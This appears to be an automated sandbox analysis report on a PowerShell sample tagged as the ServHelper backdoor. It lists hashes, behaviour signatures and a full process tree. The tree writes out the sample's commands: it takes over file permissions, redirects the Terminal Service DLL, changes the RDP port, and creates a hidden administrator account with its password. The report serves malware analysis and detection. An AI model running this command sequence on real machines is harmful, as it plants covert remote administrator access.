Analysis

  • max time kernel
    141s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    06-02-2022 20:02

General

  • Target

    fda3497d316553432df108a4f9d5e71c65577e89a8cb0283914c9eec058af6df.ps1

  • Size

    2.5MB

  • MD5

    869fe194f8f03c8286c2eda3ff0f80a1

  • SHA1

    e79eeafe149ddccd7d907035442f8c4072237b68

  • SHA256

    fda3497d316553432df108a4f9d5e71c65577e89a8cb0283914c9eec058af6df

  • SHA512

    41de9b349240fd4c4997c7d9df6b349f43d38c2c74e31384c01861be5b69d643d8825ea1a21f6540036fa714e3d904a6a0089abdce2b42f4764d6388143ec453

Malware Config

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 47 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\fda3497d316553432df108a4f9d5e71c65577e89a8cb0283914c9eec058af6df.ps1
    1⤵
    • Drops file in System32 directory
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\utp3r1nm\utp3r1nm.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:616
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES854A.tmp" "c:\Users\Admin\AppData\Local\Temp\utp3r1nm\CSC51BCFC5BDBA842D3B78321792B543BD3.TMP"
        3⤵
          PID:808
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1256
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3896
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1356
      • C:\Windows\system32\takeown.exe
        "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:544
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:636
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:1468
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3024
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2940
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:2964
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1292
      • C:\Windows\system32\icacls.exe
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
        2⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3600
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        2⤵
          PID:4044
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
          2⤵
          • Modifies registry key
          PID:1696
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
          2⤵
            PID:3904
          • C:\Windows\system32\net.exe
            "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:832
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
                PID:3424
            • C:\Windows\system32\cmd.exe
              "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1176
              • C:\Windows\system32\cmd.exe
                cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1180
                • C:\Windows\system32\net.exe
                  net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3856
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 start rdpdr
                    5⤵
                      PID:1340
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1068
                • C:\Windows\system32\cmd.exe
                  cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1948
                  • C:\Windows\system32\net.exe
                    net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2276
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start TermService
                      5⤵
                        PID:3432
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                  2⤵
                    PID:2900
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                    2⤵
                      PID:3336
                  • C:\Windows\system32\MusNotifyIcon.exe
                    %systemroot%\system32\MusNotifyIcon.exe NotifyTrayIcon 13
                    1⤵
                    • Checks processor information in registry
                    PID:1196
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k NetworkService -p
                    1⤵
                    • Drops file in Windows directory
                    • Modifies data under HKEY_USERS
                    PID:2184
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:796
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:628
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:2140
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc HhdYcL76 /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3348
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc HhdYcL76 /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1356
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc HhdYcL76 /add
                          3⤵
                            PID:2484
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                          PID:1700
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            2⤵
                              PID:4052
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                3⤵
                                  PID:560
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
                              1⤵
                                PID:544
                                • C:\Windows\system32\net.exe
                                  net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
                                  2⤵
                                    PID:3328
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
                                      3⤵
                                        PID:1648
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                    1⤵
                                      PID:2828
                                      • C:\Windows\system32\net.exe
                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                        2⤵
                                          PID:1912
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                            3⤵
                                              PID:2644
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe user WgaUtilAcc HhdYcL76
                                          1⤵
                                            PID:1872
                                            • C:\Windows\system32\net.exe
                                              net.exe user WgaUtilAcc HhdYcL76
                                              2⤵
                                                PID:3860
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 user WgaUtilAcc HhdYcL76
                                                  3⤵
                                                    PID:1384

                                              Network

                                              MITRE ATT&CK Enterprise v6

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • memory/1256-152-0x00000252A3D40000-0x00000252A3D42000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/1256-156-0x00000252A3D46000-0x00000252A3D48000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/1256-153-0x00000252A3D43000-0x00000252A3D45000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/1800-147-0x00000158C1620000-0x00000158C182A000-memory.dmp

                                                Filesize

                                                2.0MB

                                              • memory/1800-134-0x00000158C0D70000-0x00000158C0D92000-memory.dmp

                                                Filesize

                                                136KB

                                              • memory/1800-146-0x00000158C1290000-0x00000158C1406000-memory.dmp

                                                Filesize

                                                1.5MB

                                              • memory/1800-172-0x00000158C0CF8000-0x00000158C0CF9000-memory.dmp

                                                Filesize

                                                4KB

                                              • memory/1800-138-0x00000158C0CF6000-0x00000158C0CF8000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/1800-137-0x00000158C0CF3000-0x00000158C0CF5000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/1800-136-0x00000158C0CF0000-0x00000158C0CF2000-memory.dmp

                                                Filesize

                                                8KB

                                              • memory/3896-163-0x0000025CDAD80000-0x0000025CDAE70000-memory.dmp

                                                Filesize

                                                960KB

                                              • memory/3896-164-0x0000025CDAD80000-0x0000025CDAE70000-memory.dmp

                                                Filesize

                                                960KB

                                              • memory/3896-165-0x0000025CDAD80000-0x0000025CDAE70000-memory.dmp

                                                Filesize

                                                960KB